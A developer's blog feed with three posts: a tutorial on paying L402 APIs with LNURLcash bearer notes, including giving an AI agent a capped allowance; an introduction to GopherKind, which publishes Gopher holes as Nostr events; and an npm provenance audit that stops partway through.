DEV Community: The Crypto Donkey

I gave an AI agent money without giving it a wallet. It is just a string.

The Crypto Donkey — Fri, 21 Aug 2026 11:44:29 +0000

TL;DR

An LNURLcash bearer note is a 32 byte secret. Whoever holds the string holds the money. That makes it the cleanest allowance I have found for an autonomous agent: hand it a note worth 100 sats and it cannot spend 101, because the bound is the asset rather than a policy you hope something enforces.

What you can actually do with it.

Sell API calls for a twentieth of a penny, to callers who never sign up for anything. Thirty lines in front of your existing API, about fifteen minutes.
Give an AI agent a spending limit it cannot argue its way past. Not a config value it might talk you into raising. It holds 100 sats, so it can spend 100 sats.
Pay for things from a shell script. No wallet, no account, five HTTP GETs and one secret to keep hold of.
Take custody of money with two random numbers and a GET. No wallet, no account, no signup, nothing beyond curl and openssl. The faucet that ran with this post has finished, but the ceremony at the end works against any LNURLcash mint.

This post builds both halves on your own machine, with real mainnet sats:

# 1. a paid API, on localhost, that charges 21 sats a call
node server.mjs

# 2. a bearer note, minted from a public mint
curl -s https://moneyer.dev/.well-known/lnurlp/mint

# 3. pay your own API with the note. no wallet involved.
NOTE=<64 hex> node pay.mjs

Total cost, 3 sats in fees, and the 21 sats you spend land back in your own wallet because you are the merchant. You need Node 22 or newer, a Lightning wallet, and around 100 sats. No account, no signup, no KYC, and no card network deciding whether a twentieth of a penny is a transaction worth having.

The hard part was never the payment

Paying for things over Lightning has been solved for years. The awkward part is giving something else the ability to pay, when that something is a loop you started and walked away from.

An API key means an account, a card on file, and a signup you cannot automate. A wallet connection means handing over a credential that can spend everything behind it, then trusting a budget setting to hold the line. A bearer note inverts it: the money is the credential, and there is nothing to revoke because there is nothing to authorise. The note either has 100 sats left in it or it does not.

Which is to say it behaves like cash. Cash is the only money we trust a child with, for exactly this reason: you do not hand a ten year old your card and configure a spending limit. You hand them a fiver.

The analogy breaks in three places, and the first two cost real money.

A banknote cannot be copied. A 32 byte secret can. Send one to somebody while keeping a copy and you are both holding the same money until one of you spends it, at which point the other holds a dead string. Not a smaller note, a dead one: the change is minted under a secret only the spender knows. Cash intuition says a thing you still possess is still yours, and here that is false.

A banknote is a claim on nobody. A note is a claim on whoever runs the mint, which here is me. Cash in your pocket survives my going out of business. A note does not.

And cash is unwatched, where a note is watched by exactly one party. There is no blinding, and a split hands the mint the parent secret and both child hashes in one request, so it can follow a note through every split it undergoes. It saw the payment that created the note and it pays the invoice you melt into. It never learns your name and never asks: pseudonymous, not anonymous. Strong against everybody except the mint, weak against the mint.

LNURLcash is dni's draft for exactly this, built on plain LUD-03 and LUD-06 rather than a new protocol. A mint's node holds the sats. Whoever knows a note's secret owns its value. There is no blinding, no keysets, no proof selection, no reconciling a wallet full of denominations. What there is instead is a new secret after every single spend, which is the one thing you have to keep hold of.

A note is also a link, lnurlw://mint…/w?k1=<the secret>, and the link is the money, like a gift card scratch code for Bitcoin. You can text it, print it as a QR code, or read it out loud (please do not read it out loud). Four verbs cover everything a cashier can do with it:

You want to	The verb
break a £20 into two £10s	split
combine shrapnel into one note	merge
swap a note for a fresh secret	rotate
cash out to any Lightning wallet	melt

The entire spend path is five HTTP GETs, which is the part I want to show you.

Why not Cashu

The obvious question, since Cashu has done bearer ecash on Lightning for years, with the unlinkability this lacks. The answer is reach. A note is an ordinary LUD-03 withdrawRequest, so wallets that have never heard of LNURLcash already accept one: a note claims straight into Zeus, Phoenix, Alby or Wallet of Satoshi. A Cashu token needs a Cashu wallet first, and "first install this" is where most people stop. Spending needs nothing beyond sha256 and a random number generator, and there is less to get wrong: no proof selection, no denominations, no keyset rotation, so the class of bug where a client quietly destroys value has fewer members in it.

The cost is the privacy described above, plus the years of review Cashu has had and this has not. If you need unlinkability, use Cashu. If you need a note anyone can already receive and a program can spend with fetch, this is the trade.

Part 1: a paid API in 30 lines

The API charges 21 sats for a number between one and six. It is a terrible product. That is the point: nothing here is specific to what you are selling.

Install:

npm init -y && npm pkg set type=module
npm install express @forgesworn/toll-booth

server.mjs:

import express from 'express'
import { Booth } from '@forgesworn/toll-booth'
import { nwcBackend } from '@forgesworn/toll-booth/backends/nwc'

// The API. It knows nothing about payments.
const api = express()
api.get('/api/dice', (_req, res) => res.json({ roll: 1 + Math.floor(Math.random() * 6) }))
api.listen(4444)

// The gate in front of it.
const booth = new Booth({
  adapter: 'express',
  backend: nwcBackend({ nwcUrl: process.env.NWC_URI }),
  pricing: { '/api/dice': 21 },
  upstream: 'http://localhost:4444',
  defaultInvoiceAmount: 21,
  strictPricing: true,
  rootKey: process.env.ROOT_KEY,
  dbPath: './toll-booth.db',
})

const app = express()
app.use(express.json())
app.get('/invoice-status/:paymentHash', booth.invoiceStatusHandler)
app.post('/create-invoice', booth.createInvoiceHandler)
app.use('/', booth.middleware)
app.listen(3000, () => console.log('paywall on http://localhost:3000'))

toll-booth is L402 middleware: it mints the macaroon, creates the invoice, and proxies to your API once the caller has paid. The backend is the only line that cares where your sats live. Five ship with it (phoenixd, LND, CLN, LNbits, NWC), and any NWC string with make_invoice and lookup_invoice will do, with nwc-lnd-bridge making one from an LND node. Or write your own: a backend is two methods, so any custodial wallet with a REST API can be the till. So little is needed because L402 authenticates on the preimage itself. Your server never has to ask its own node whether it got paid, which is also why this works when the caller pays by a route your node has never heard of.

Run it:

export ROOT_KEY=$(openssl rand -hex 32)
export NWC_URI='nostr+walletconnect://...'
node server.mjs

And knock on the door:

curl -i http://localhost:3000/api/dice

If something already holds port 3000, change it in both files, because pay.mjs below defaults to the same address. Otherwise your request reaches whatever else is listening, you get a cheerful 200, and you spend a while wondering why the paywall is giving the API away. Ask me how I know.

HTTP/1.1 402 Payment Required
WWW-Authenticate: L402 macaroon="AgEKdG9sbC1ib290aAJCAACnTH6m1M8mRCWdR0WZa0NElpi0...",
                       invoice="lnbc210n1p4gyyj5pp5qw5svm907k5w8..."

That is L402: a macaroon plus an invoice. Pay the invoice, and the preimage your wallet gets back is the second half of the credential. Send both and you are in. The response body carries the same challenge as JSON, which is what our script will read.

Part 2: a note, for real, on mainnet

moneyer.dev is a small public LNURLcash mint I run on a dedicated box. It is deliberately tiny and explicitly experimental, so mint 100 sats for this and no more. There is a no-warranty notice on the front page and I mean it.

The mint speaks LUD-06, so minting is a payRequest, found at the LUD-16
lightning-address path for mint@moneyer.dev:

curl -s https://moneyer.dev/.well-known/lnurlp/mint

{
  "tag": "payRequest",
  "callback": "https://moneyer.dev/p/cb",
  "minSendable": 12000,
  "maxSendable": 250000000,
  "metadata": "[[\"text/plain\", \"Mint an lnurlcash bearer note...\"]]"
}

Ask the callback for an invoice, in millisatoshis:

curl -s 'https://moneyer.dev/p/cb?amount=100000' | jq -r .pr

Pay that invoice with any wallet. Now the good bit:

The preimage of that payment is the note.

Not a receipt for the note, not a key that unlocks it. The 64 hex characters your wallet shows under payment details are the bearer secret, and anyone reading them over your shoulder owns the 98 sats they are worth. Alby, Zeus, Phoenix and LNbits all show you a preimage. If yours will not, dni's serverless wallet at dni.github.io/lnurl-wallet does the whole flow in the browser and keeps notes encrypted locally.

One caveat that matters. The mint's node saw that preimage when it settled the invoice, which makes the mint a permanent prior holder of the note. Rotate into a fresh secret before you rely on it. Conveniently the first thing our payment script does is a split, and a split rotates: the client picks the new secrets, and the mint learns only their hashes, one-way fingerprints it can verify but never reverse.

Fees, so you can check my arithmetic against your balance. The mint withholds 1 sat flat plus 0.1%, rounded up to the whole sat, so 100 sats in gives a note worth 98 sats. At this size the rounding is most of the fee: a 15 sat mint and a 23 sat mint are both charged 2 sats.

Part 3: pay your own API with the string

Here is the whole thing. No dependencies beyond Node.

pay.mjs:

import { createHash, randomBytes } from 'node:crypto'

const API  = process.argv[2] ?? 'http://localhost:3000/api/dice'
const MINT = 'https://moneyer.dev'
const NOTE = process.env.NOTE                     // 64 hex characters

const get = async (url) => {
  const body = await (await fetch(url)).json()
  if (body.status === 'ERROR') throw new Error(body.reason)
  return body
}
const sha256 = (hex) => createHash('sha256').update(Buffer.from(hex, 'hex')).digest('hex')
const fresh  = () => randomBytes(32).toString('hex')

// 1. Ask the API what it wants.
const challenge = await fetch(API)
if (challenge.status !== 402) throw new Error(`expected 402, got ${challenge.status}`)
const { invoice, macaroon, payment_hash, amount_sats } = (await challenge.json()).l402
const needMsat = amount_sats * 1000
console.log(`wants ${amount_sats} sats`)

// 2. Split the note down to exactly that amount. The mint refuses any melt
//    whose invoice does not match the note's value to the millisatoshi.
//    WRITE THESE TWO SECRETS DOWN BEFORE THE REQUEST GOES OUT.
const paySecret = fresh(), changeSecret = fresh()
console.log(`pay note ${paySecret}\nchange note ${changeSecret}`)

const parent = await get(`${MINT}/w?k1=${NOTE}`)
if (parent.maxWithdrawable <= needMsat + 1000) throw new Error('note too small')  // + split fee, and change cannot be zero
await get(`${parent.callback}?k1=${NOTE}&amount=${needMsat}` +
          `&h=${sha256(paySecret)}&h2=${sha256(changeSecret)}`)

// 3. Melt the exact note against the API's invoice. The mint pays it on the
//    Lightning network as a background task and hands back a URL to watch.
const exact = await get(`${MINT}/w?k1=${paySecret}`)
const melt  = await get(`${exact.callback}?k1=${paySecret}&pr=${invoice}`)

// 4. Poll until it settles. LUD-21 verify returns the preimage of the invoice
//    the mint just paid, which is precisely what L402 asked us for.
let preimage
for (let i = 0; i < 180 && !preimage; i++) {     // usually 2s. once, for me, 60s.
  const v = await get(melt.verify)
  if (v.settled && v.preimage) preimage = v.preimage
  else await new Promise(r => setTimeout(r, 1000))
}
if (!preimage) throw new Error(`melt did not settle. keep polling ${melt.verify}`)
if (sha256(preimage) !== payment_hash) throw new Error('preimage does not match the invoice')

// 5. Spend the credential.
const paid = await fetch(API, { headers: { Authorization: `L402 ${macaroon}:${preimage}` } })
console.log(paid.status, await paid.json())

const change = await get(`${MINT}/w?k1=${changeSecret}`)
console.log(`change: ${change.maxWithdrawable} msat in ${changeSecret}`)

NOTE=<the preimage from Part 2> node pay.mjs

wants 21 sats
pay note 9f2c...
change note 41ba...
200 { roll: 4 }
change: 76000 msat in 41ba...

Five GETs to the mint, plus one to read the change back, two to the API, and a number between one and six that cost 21 sats. Those sats are now in your own wallet, because the invoice the mint paid was yours.

That console warning above the split is not decoration. The mint keys the new notes to the hashes of secrets it never learns, so a crash between generating those secrets and getting them onto disk destroys the money outright. A real client persists both secrets to disk before the request and reconciles on the next run, which is most of what separates a demo from a wallet.

A note is not a balance

This is the part that catches everybody, including me, so it is worth showing rather than describing. Run the script twice more, first with the same note, then with the change it printed:

$ NOTE=e3f1... node pay.mjs          # the note you started with
wants 21 sats
pay note 7d05...
change note 8c93...
Error: Note already spent.

$ NOTE=41ba... node pay.mjs          # the change from the run above
wants 21 sats
pay note b620...
change note 5ae4...
200 { roll: 2 }
change: 54000 msat in 5ae4...

Every spend replaces your note. Nothing was debited, because there is no account to debit. The mint burned the note you presented and minted a fresh one for the change, keyed to a secret you generated seconds earlier, and the secret you started the day with is now worth nothing. The change note is your wallet. Lose that string and the money is gone, even though you never spent it.

So a 98 sat note is four dice rolls, and it is also four different notes: 98 becomes 76 becomes 54 becomes 32 becomes 10, a sat of split fee each time, with the 10 sat remnant mergeable into your next note for a 1 sat refund. That is the loop Part 4 automates. An agent writes each new secret to its note store as it goes, which is why a burst of paid calls looks like a balance going down when it is really a chain of notes, each replacing the last.

Why the server needed no changes at all

Look at what Part 1 did to support any of this: nothing. It issued an ordinary BOLT-11 invoice and waited. A melt is a normal Lightning payment, routed over the public network to whoever the invoice names, so the paywalled API cannot tell a bearer note from a phone. This works against Aperture, against toll-booth, against anything speaking L402, with no cooperation from the far end.

The pivot is LUD-21, the verify extension. When the mint tells you a melt has settled, it hands back the preimage of the invoice it paid. L402 wants a macaroon and a preimage. The mint's proof of payment and the API's proof of payment are the same 32 bytes, so the two protocols join up without either of them being designed for the other.

Worth noticing that your API stayed on localhost throughout. Never reachable from the internet, and it still got paid, because the only thing that had to be reachable was your wallet.

Part 4: now give it to an agent

The script above is the protocol. In practice you let the agent run it. 402-mcp is an MCP server that lets an AI agent discover, pay for and consume L402 APIs, with LNURLcash as one of its wallet providers:

claude mcp add 402-mcp -- npx 402-mcp

export LNURLCASH_NOTES=~/.402-mcp/notes.json   # encrypted at rest
export MAX_AUTO_PAY_SATS=100

Then ask it to fetch something that costs money and watch it split, melt, verify and authenticate on its own. The note store is the wallet; when the notes are gone, the agent stops, and no amount of creative prompting gets it more.

That is the property I care about. MAX_AUTO_PAY_SATS is a policy, and policies are code someone can be argued out of. A 100 sat note is not a policy. It is a hundred sats.

Handing a note over is handing it over, and it is the copy you kept that will mislead you. The moment the agent buys its first dice roll, your copy is dead. Not reduced to 77 sats. Dead. Up to that first purchase your copy could have taken the whole note back; after it, nothing, with no state in between. Which is the honest footnote to "there is nothing to revoke" further up: a copy is a revoke while it lasts, it is also indistinguishable from theft, and the agent has no way to check you deleted yours.

The production version handles what the demo skips: notes that were already spent by another holder of a copy get dropped and the next one is tried, melts whose outcome never came back are reconciled against the mint before the next payment, and an unproven preimage is never treated as payment. Bearer assets are unforgiving, and every one of those cases is one I hit in testing rather than one I imagined.

Now look at what that price buys

The whole round trip cost 3 sats: 2 to mint, 1 to split, nothing to melt. And twenty one sats is about a penny, at the £47,000 or so a bitcoin was worth the day I wrote this. Sit with that for a second, because it is the part that gets waved past.

A card cannot represent this transaction at all. UK Stripe is 1.5% plus 20p, so the fee on that penny is twenty times the sale. There is no volume at which that inverts, because the 20p is fixed. Every business model that needs a sub-penny price gets built as a subscription instead, not because subscriptions are better but because the payment rail refuses. A monthly minimum is what a payments industry looks like when its floor is 50p.

Here is the rail on this side of the fence:

	Card	This
Smallest sensible charge	about 50p	1 sat, a twentieth of a penny
Fee on a 21 sat call	not possible	3 sats, and falling fast with size
Time to first payment	days, after KYC	minutes, no account anywhere
What the seller signs up for	merchant account, bank, identity	`npm install`
What the buyer signs up for	card, billing address, name	nothing. they hold a string
Chargebacks	120 days of exposure	none. payments are final
Settlement	T+2	seconds
Who can be a customer	humans with legal identity	anything that can make an HTTP request

Yes, 3 sats on a 21 sat payment is 14%, a worse percentage than any card, and also a fee on a transaction the card network cannot process at any price. It collapses as the amount grows: a real 4,900 sat melt cost 0.22%. Fixed costs dominate at the bottom and vanish above it, the opposite shape to a 20p floor that never moves.

The row I care about most is the last one. Every rail before this one required the buyer to be a person, or to borrow a person's credentials. Software could not have a bank account, so it was given API keys belonging to someone who did. A bearer note is the first thing on this list a program can simply have, and the reason your API can sell to a customer that will never fill in a form.

The honest limits

The mint is custodial. A bearer note is a claim on my node. If it burns down, your note is a string that no longer means anything. Mint 100 sats, not 100,000.
The mint is young, and your wallet may not find it. Two channels, days old. Some wallets pay it first time; one large custodial wallet timed out in pathfinding without ever trying the mint's channels. Reachability, not liquidity. If minting fails, try a different wallet before assuming anything is broken.
The spec is a draft. LUD-25 is an open PR. Things will change, and some of the changing is me sending fixes upstream.
The secret travels in the URL. Every operation is ?k1=<the money>, and query strings turn up in shell history, browser history, and access logs. Treat a note as a password that has to be sent as a GET parameter, because that is exactly what it is.
A copy is a spend, and it spends the whole note. The loser of the race loses the lot, because the change is minted under the winner's secret. Rotate after minting, and treat every local balance as a cache the mint is free to contradict.
The melt is asynchronous, and the verify URL is the receipt. The mint pays in the background, usually in seconds, once in a minute. Stop polling too early and the payment still lands but the preimage that proves it lives only behind that URL. Store it next to the note, not in a local variable.
This is a demo. pay.mjs fits in a blog post because it leaves out crash safety. Use the real client for anything that matters.

The short version

Imagine money that works like a magic word. There is a piggy bank on the internet that gives the money inside to the first person who says the word. No names anywhere, so giving someone the money is just whispering the word to them, and the whisper is the whole handing over.

If I whisper it to you and secretly remember it, we both know the word, and whichever of us says it to the piggy bank first gets everything. The slow one gets nothing. So giving this money away means properly forgetting it, like passing a parcel you cannot keep a corner of.

Spending is odd too. No coins come back. You think up a brand new word for whatever is left, and you tell the piggy bank only the word's fingerprint, a scramble that cannot be run backwards, the way a smoothie does not turn back into strawberries. The bank can recognise the word when it hears it, but it never hears it early, and the old word stops working forever. Every time you spend, your money gets a new name that only you have ever said.

And you can give the word to a robot. The robot can buy things all by itself, and it can never spend more than the word is worth, however cleverly it asks, because there is no more money inside the word.

For a while this post carried a link to a magic word, drawn as a square code a camera can read and written as letters a computer can read. It was not a picture of the money. It was the money. When somebody took it, the piggy bank put up a new word the next morning. That run has finished now.

There was some money

This post ran a faucet: one live bearer note on display, drawn up as the banknote it genuinely is. Not a voucher, not a code to redeem, not a referral scheme. Whoever took it held the value, and when it went a fresh note replaced it the next morning.

That run has finished, and the mint behind it is winding down. The page shows a spent plate now. What the faucet was demonstrating is below, and none of it depended on the faucet: it works against any LNURLcash mint.

Scanning a note

Point any Lightning wallet at a note's QR. Zeus, Phoenix, Alby, Wallet of Satoshi, they all speak this, because a note's withdraw URL is an ordinary LUD-03 withdrawRequest and the QR is that URL in a form a camera can read. Your wallet hands the mint an invoice, the mint pays it, the row is marked spent. That is a melt, the same operation Part 3 used to buy a dice roll.

Or take it with the secret word

Withdrawing moves the money into a wallet. If you would rather hold it, as a bearer note under a secret only you know, you never need a wallet at any point. The faucet served its secret as base64 rather than raw hex, so a scraper grepping the wire for 64 hex characters found nothing. That encoding was never security. It bought humans a head start over the laziest bots, nothing more.

With a note's secret in hand, ask the mint what it is worth:

NOTE=<the 64 hex characters of a note you hold>

curl -s "https://moneyer.dev/w?k1=$NOTE"

A live note answers with its value in millisatoshis. A dead one says Note already spent., which means it has been claimed. That is not the demo failing. That is the demo.

To take it, split it into secrets only you know. No wallet, no account, no signup, nothing beyond what is already on your machine:

VALUE=<the msat number the mint just gave you>
TAKE=$((VALUE / 2))          # or all but 1001 msat, if you want the lot

NEW=$(openssl rand -hex 32); OTHER=$(openssl rand -hex 32)
echo "$NEW"; echo "$OTHER"   # WRITE THESE DOWN BEFORE RUNNING THE NEXT LINE
H=$(printf %s "$NEW"    | xxd -r -p | openssl dgst -sha256 -r | cut -d' ' -f1)
H2=$(printf %s "$OTHER" | xxd -r -p | openssl dgst -sha256 -r | cut -d' ' -f1)
curl -s "https://moneyer.dev/w/cb?k1=$NOTE&amount=$TAKE&h=$H&h2=$H2"

{"status":"OK"} and it is yours, held now as two notes the mint knows only by their hashes. That is the whole ceremony for taking custody of money on the internet: two random numbers and a GET. The 1 sat split fee is the only cost, and you never told anyone your name. You did show the mint an IP address, so call it pseudonymous rather than anonymous.

The warning in that snippet is not decoration. If the request goes out and those secrets have not reached your disk, the money is gone and nobody can recover it. Not me, not the mint, nobody.

When you want ordinary sats instead, hand the mint an invoice from any wallet at the same withdraw callback, which is the melt from Part 3. Or spend it straight at an L402 API and skip the wallet entirely, which was the point.

Try it

Mint: moneyer.dev (experimental, evaluation only)
Wallet: dni.github.io/lnurl-wallet
Spec and mint implementation: dni/lnurl-mint
Paywall middleware: forgesworn/toll-booth
Agent client: 402-mcp

If you build something with it, or if a note of yours goes missing, tell me. Both are useful at this stage.

I put Gopher on Nostr. Now every npub is a gopherhole

The Crypto Donkey — Mon, 10 Aug 2026 22:46:15 +0000

TL;DR

I've built GopherKind, a publisher and reader for gopherholes stored as signed Nostr events.

Every Nostr public key already works as a hole. GopherKind turns the account's profile, notes, replies, long-form articles, and the follows and followers visible through its relays into ordinary Gopher menus and text. An author can then publish proper path-addressed pages as kind 31436 events, and those pages take over the same hole.

The same content is readable through Gopher, Gemini, the web and a terminal. Reading needs no account. The CLI publisher uses a NIP-46 remote signer, and GopherKind refuses raw secret keys completely.

Try the idea before reading the explanation:

npx gopherkind why
npx gopherkind read darren@600.wtf

There is also a live bridge if installing something to find out what it does feels a bit backwards.

I don't think an old protocol is interesting just because it is old

Some old protocols deserve their quiet retirement. Gopher isn't one of them.

Gopher got one thing very right in 1991: it separates information from interface. A hole is menus and text. The client decides how those things look, navigation works the same everywhere, and there is very little available for a publisher to use against the reader.

No cookie banner. No consent platform. No autoplay. No infinite scroll trying to trick me into donating another hour of my life.

Cameron Kaiser's essay on why Gopher is still relevant makes the argument properly. GopherKind can read it directly:

npx gopherkind read gopher://gopher.floodgap.com/0/gopher/relevance.txt

A site has to stand on what it says because there isn't much glitz available to hide behind.

I like that. I don't especially like the structural weakness that comes with it.

Holes die

In RFC 1436, a gopherhole is a host. The writing depends on the hobby box under someone's desk, its power supply, a domain registration and the person who still remembers how it was configured.

When that box disappears, the hole disappears with it. Copying the files elsewhere can preserve the bytes, but Gopher has no idea who wrote them. There is no authorship in the protocol and nothing in the document that survives the hostname.

Nostr has almost exactly the missing pieces. Identity is a public key, events are signed, and an author can put copies on more than one relay. The signature stays with the document regardless of which relay or bridge served it.

That was too exact a fit to ignore.

A gopher document as a Nostr event

GopherKind defines one addressable event kind, 31436, numbered after RFC 1436. One event is one text document at one path:

{
  "kind": 31436,
  "tags": [
    ["d", "/phlog/hello.txt"],
    ["type", "0"],
    ["title", "Hello from my hole"]
  ],
  "content": "Hello gopherspace.\n"
}

The d tag is the exact path. Type 0 is plain text. Type 1 is a menu written as a kindmap, which is a normal gophermap with the host and port columns removed because the document no longer belongs to a host.

Welcome to my hole

0About me   /about.txt
1Phlog  /phlog
1A friend's hole    npub1friend...
hMy website https://example.com

Kind 31436 is addressable, so publishing a newer event with the same public key and path replaces that page. The link doesn't change and the rest of the hole doesn't need to be rebuilt.

The complete format is deliberately small. Paths, replacement selection, expiry, deletion, menu parsing and test vectors are in the proposed specification. The proposal is also open as nostr-protocol/nips PR #2429. It is a proposal, not an accepted NIP, and I won't pretend otherwise.

Every npub is already a hole

This is the part I find most interesting.

A Nostr user doesn't need to publish any kind 31436 events before GopherKind can read their hole. When an authored document isn't present, it generates a virtual structure from events the account already has:

/
/profile.txt
/notes
/replies
/mentions
/articles
/follows
/followers
/feed.xml

Notes become a phlog. NIP-23 long-form articles become text pages. Available follows and followers become menus, and threads are navigable without reconstructing the conversation from a flat timeline.

npx gopherkind read npub1...
npx gopherkind read npub1.../notes

An authored kind 31436 page wins when it uses the same path, so turning the generated hole into your own space is just publishing. There is no migration ceremony and no new identity to create.

Nostr clients are generally built around the scroll. A note appears, moves down the timeline and is effectively buried. Gopher has the opposite temperament. A menu stays where the author put it and nothing on the screen is bidding for attention.

The two protocols cover each other's awkward bits surprisingly well.

You don't have to type the npub

An npub is the durable identity, but it isn't a particularly friendly address to give somebody. GopherKind accepts NIP-05 names anywhere it accepts a hole target, including a path after the name:

npx gopherkind read darren@600.wtf
npx gopherkind read darren@600.wtf/notes

darren@600.wtf currently resolves to npub1mgvlrnf5hm9yf0n5mf9nqmvarhvxkc6remu5ec3vf8r0txqkuk7su0e7q2, then GopherKind reads the signed events for that public key. The live bridge does the same thing, redirecting the friendly name to the canonical npub path before it renders the hole.

That distinction matters. NIP-05 is a human-readable way in, controlled by the domain. It is not the document identity. If the domain owner changes where that name points tomorrow, the existing documents do not silently acquire a new author. Their signatures still belong to the original public key.

Publishing a hole

A hole on disk is just a directory of text and menu files:

my-hole/
|-- index.map
|-- about.txt
`-- phlog/
    |-- index.map
    `-- 2026-08-10-hello.txt

Publishing goes through a NIP-46 signer you already control. GopherKind never asks for an nsec, never generates one, and refuses a raw secret key if you try to give it one.

npm install --global gopherkind

gopherkind pair 'bunker://...'
gopherkind publish ./my-hole --dry-run
gopherkind publish ./my-hole
gopherkind inspect npub1...

The publisher discovers the author's NIP-65 write relays, publishes to their union with the configured relays, and reads every document back. Relay acceptance and successful read-back are reported separately because an OK response is not evidence that a reader can retrieve the event later.

When the relays can report their current state, editing one page signs one changed document. If they can't be queried, GopherKind republishes everything because not knowing what is there is not the same as knowing it is current. gopherkind export recovers a relay-held hole into editable files, including a manifest that preserves exact paths which filenames can't safely represent.

That gives me a useful recovery loop:

gopherkind inspect npub1...
gopherkind export npub1... ./recovered-hole
gopherkind publish ./recovered-hole

inspect proves what is retrievable now. It does not prove a relay will keep it next year. That distinction matters.

One set of events, four ways in

GopherKind can read the relay-held events directly from the command line, or a bridge can expose them over three frontends:

signed kind 31436 events on Nostr relays
        |                 |
        |                 `--> terminal
        |
        `--> bridge --> Gopher
                   |--> Gemini
                   `--> HTTP

The public reference bridge is available at:

https://gopherkind.com/
gopher://gopherkind.com/
gemini://gopherkind.com/

The bridge doesn't own the hole. It is one route to signed events held by relays. Run another compatible bridge and it can serve the same documents, or skip bridges completely and read the relays from the CLI.

That is the important difference from putting a Gopher frontend in front of another website. There is no origin website hiding behind it.

The honest limits

This would be very easy to oversell, so here are the boundaries.

Relays are not archives. Publishing copies to several relays removes one host as the single point of failure. It doesn't guarantee that any relay will retain an event forever. Keep an export and check retrievability.

Deletion is a request. NIP-09 asks relays to remove an event. A relay can ignore it, and another client may already have a copy. NIP-40 expiry tells a compliant bridge not to serve an expired event, but it is not a durable tombstone for older revisions a relay still holds.

A bridge is still a server. It can go down. The point is that it isn't the one server carrying the only copy of the writing.

Gopher is plaintext and unauthenticated. Network Gopher is permanently read-only in GopherKind. Writing happens through the terminal, HTTP or Gemini with a signer the author controls.

Kind 31436 is still proposed. The implementation and conformance vectors exist today. Acceptance into the NIPs repository does not.

Those aren't small-print caveats. They are part of deciding whether this is useful for something you care about.

Try it

GopherKind is open source, MIT licensed and still deliberately below 1.0.0. It needs Node 24 or newer.

Reading costs no identity and changes nothing:

npx gopherkind why
npx gopherkind read darren@600.wtf
npx gopherkind read darren@600.wtf/notes
npx gopherkind read gopherkind@gopherkind.com
npx gopherkind read gopher://gopher.floodgap.com/1/

The source, documentation and protocol proposal are on GitHub. The live bridge is there if you want to poke around first.

I don't expect Gopher to replace the web. I do think some writing deserves a calmer interface and an address that isn't load-bearing on one forgotten box.

GopherKind is still pre-1.0. The bridge works, the npm package works and the NIP proposal remains a proposal. That's the honest state of it.

I audited the top 50 npm packages. Almost none ship with supply-chain attestations!

The Crypto Donkey — Mon, 13 Apr 2026 11:46:22 +0000

TL;DR

I checked the 50 most-downloaded npm packages last week to see how many ship with supply-chain provenance.

Six...

That's 12%, roughly three years after npm launched provenance (public beta April 2023, GA September 2023).

The other 44 tarballs are signed by the npm registry and nothing else. Nothing actually links them back to a source
commit, a CI run, or even a specific human. Your package-lock.json guarantees tarball integrity, but not who built the
tarball or from which source.

The basic fix is two lines. The full fix is harder, and that's the point of this post.

The audit

I took the 50 most-downloaded npm packages by weekly downloads (npm public downloads API, week of 6th-12th April 2026).
For each one, I fetched the latest version manifest and then checked the npm attestations endpoint for a
slsa.dev/provenance/v1 predicate. No predicate, no provenance.

Six packages do however have it: semver, emoji-regex, eslint-visitor-keys, esbuild, agent-base,
eslint-scope. The two ESLint packages share a release pipeline, so the honest count is five independent publishers out
of fifty.

There's a full table at the bottom. A few things jumped out at me, as I went through it.

What's NOT in the top 50!

Look at what isn't there: react, lodash, axios, express, vue, webpack, vite, dotenv, eslint. None of them.

The top 50 by raw weekly downloads is dominated by the transitive utility layer everyone depends on: chalk, ansi-styles,
semver, debug, ms, picomatch, glob. The packages developers name as their dependencies sit below position 50. The
packages those packages depend on, transitively, sit at the top.

Which means the supply-chain layer underneath everything you ship has 12% provenance.

The single biggest gap: `@types/node`

@types/node ranks #17 with 290 million weekly downloads and ships with no attestations of any kind. It is published by
the DefinitelyTyped publish bot, and every TypeScript project on the planet pulls it in. Of the 44 packages in the top
50 without provenance, this is the single largest by download volume. Fixing this one package alone would deliver more
attestation coverage to the ecosystem than any other single change.

Meta publishes `react-is` without provenance

react-is has 245 million weekly downloads. Look at how it gets published.

It's pushed by react-bot from npm CLI version 10.8.2. No attestation. No CI identity. No commit binding. No Sigstore
signature. Whatever workflow produced this tarball, the registry has no record tying it to a specific source commit.

This is Meta. They run some of the most sophisticated CI in the world. React might be the most consequential JavaScript
artefact on the planet. And a utility package in the React ecosystem ships with less provenance than a hobbyist's side
project, because the hobbyist is esbuild.

Microsoft publishes `typescript` without provenance

typescript (163M weekly) and tslib (337M weekly) are both pushed by typescript-bot with no attestations. Microsoft
is a Sigstore steward. Azure has an entire product wing around supply-chain attestation. And the packages backing every
TypeScript build in the world have no cryptographic link to their source.

`ms@2.1.3` has been load-bearing since 2020

ms has 395 million weekly downloads. The current latest, 2.1.3, was published in December 2020. Publisher is
styfle, a Vercel engineer, pushing from a personal account. No CI, no attestation, no stable release since December
2020.

Every Node.js application you've ever built has ms several layers deep. If styfle's npm account happened to be
compromised, an attacker could push ms@2.1.4 with a cryptominer in it, and every fresh npm install in the world
would pull it within hours. The only thing preventing this is that nobody has done it yet.

Sindre Sorhus publishes 13 of the 50

Thirteen of the top 50 are Sindre's: chalk, strip-ansi, supports-color, ansi-regex, ansi-styles, has-flag,
find-up, locate-path, path-exists, string-width, wrap-ansi, path-key, get-stream. Zero with provenance.

If one maintainer adopted provenance across his portfolio, the headline stat in this post would shift from 12% to 38%.

Only one org does this consistently: ESLint

The six positives break down into five publishers: the npm team (semver), Mathias Bynens (emoji-regex), Evan Wallace (
esbuild), TooTallNate (agent-base via the proxy-agents monorepo), and the ESLint org (eslint-visitor-keys and
eslint-scope, both via release-please). Of those, only ESLint ships provenance across multiple packages. Every other
positive is a one-off — a single maintainer who bolted provenance onto one package. There is no broader org push visible
in the top 50 yet.

The two-line fix

If you maintain a package, here's the fix.

permissions:
  id-token: write
  contents: read

  - run: npm publish --provenance --access public

First block opts your workflow into OIDC. Second tells npm to attach a provenance attestation. Done. Every release from
now on carries a Sigstore-signed claim linking the tarball back to a specific commit and workflow run.

pnpm and yarn have equivalent --provenance flags. JSR auto-includes attestations when publishing from CI.

That's the headline ask. If you stop reading here and ship that change, you've improved the supply-chain posture of
every consumer of your package. Worth doing.

But provenance alone doesn't save you. Here's why.

The tj-actions story

On 14 March 2025 someone compromised the tj-actions/changed-files GitHub Action (CVE-2025-30066). It's used in over
23,000 repositories to work out which files changed in a PR.

